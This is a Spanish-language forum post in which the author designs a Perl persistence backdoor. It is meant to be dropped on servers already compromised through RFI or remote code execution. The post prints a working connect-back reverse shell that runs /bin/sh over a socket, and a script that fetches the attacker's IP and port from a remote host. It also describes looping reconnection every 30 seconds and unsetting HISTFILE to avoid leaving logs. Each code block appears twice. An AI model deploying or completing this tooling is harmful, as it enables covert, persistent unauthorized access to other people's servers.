Pensaba si era mejor crear un script bash que me hiciera el trabajo de un RootKit para Linux pero veo que Perl es mejor lenguaje de scripting aunque necesitas que Perl esté instalado, pero la gran mayoría si lo tiene por defecto y aún no he terminado de aprender a programar en C como para crearlo en ese lenguaje.
¿Cual es la idea?
La idea es que a través de una shell tomada ya sea de tipo RFI o de ejecución remota arbitrario pueda subir mi script en Perl donde me dé una shell inversa cada cierta cantidad de tiempo.
¿Por qué inversa? Porque la mayoría de los servidores tienen sistemas de protección donde no dan acceso para grabar un socket a escuchar.
¿Como gano el acceso inverso si me desconecto por un día? La idea es que se haga un loop donde primeramente baje un archivo desde http://mi.host.com/archivo.txt donde tendrá como contenido mi IP y mi puerto a escuchar con algún software como netcat o algún bouncer como Hping2. Este texto debería tener la forma IP:Puerto.
Luego de obtener dicho archivo sin alojar temporales sino guardando los datos directamente en una variable se realizará la conexión inversa y si esta falla se dará un tiempo (sleep) de 30 segundos para no subir el pid y comenzará todo otra vez. De esta forma si me desconecto solo tendré que esperar 30 segundos más para que se reconecte nuevamente.
Diseñé un script incluyendo la idea de la shell de CBS donde se realizarían todos estos trabajos automáticamente.
En resumidas cuentas el CBS Shell de conección inversa es:
Using perl Syntax Highlighting
#!/usr/bin/perl
#
# A perl based connect back shell
#
# usage:
#
# $netcat -l -s 127.0.0.1 -p 10001
# $./cbs.pl 127.0.0.1 10001
#
# [email protected]
#
use Socket;
$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($execute);
close(STDIN);
close(STDOUT);
#
# A perl based connect back shell
#
# usage:
#
# $netcat -l -s 127.0.0.1 -p 10001
# $./cbs.pl 127.0.0.1 10001
#
# [email protected]
#
use Socket;
$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($execute);
close(STDIN);
close(STDOUT);
Coloreado en 0.006 segundos, usando GeSHi 1.0.8.4
Considerando este script intento obtener mi IP más puerto desde un sitio predestinado para esto:
Using perl Syntax Highlighting
#!/usr/bin/perl -w
use IO::Socket;
$server = "HOST.com";
$puerto = "80";
$protocolo = "TCP";
$archivo = "datos.txt";
$sock = new IO::Socket::INET(PeerAddr => $server, PeerPort => $puerto, Proto => $protocolo) || die "[FALLADO]\n";
print $sock "GET /$archivo HTTP/1.0\n";
print $sock "Host: $server\n";
print $sock "User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\n";
print $sock "Conection: close\n\n\n";
use IO::Socket;
$server = "HOST.com";
$puerto = "80";
$protocolo = "TCP";
$archivo = "datos.txt";
$sock = new IO::Socket::INET(PeerAddr => $server, PeerPort => $puerto, Proto => $protocolo) || die "[FALLADO]\n";
print $sock "GET /$archivo HTTP/1.0\n";
print $sock "Host: $server\n";
print $sock "User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\n";
print $sock "Conection: close\n\n\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
Pero ¿cómo puedo tomar y separar ip:puerto y convertirlas en variables $ip y $puerto para continuar con el primer script? Luego solo bastaría un sleep y un while al comienzo de todo infinitamente, todo esto ejecutado en modo independiente de la primera shell para tener la conexión asegurada sin dejar logs implementando unset HISTFILE en las primeras líneas de la shell antes de /bin/sh.
Tal vez podría poner una declaración $tipo = "directa" o "inversa" para cada tipo de ejecución con variables incluidas donde si no son definidas se utilizarán las ya declaradas.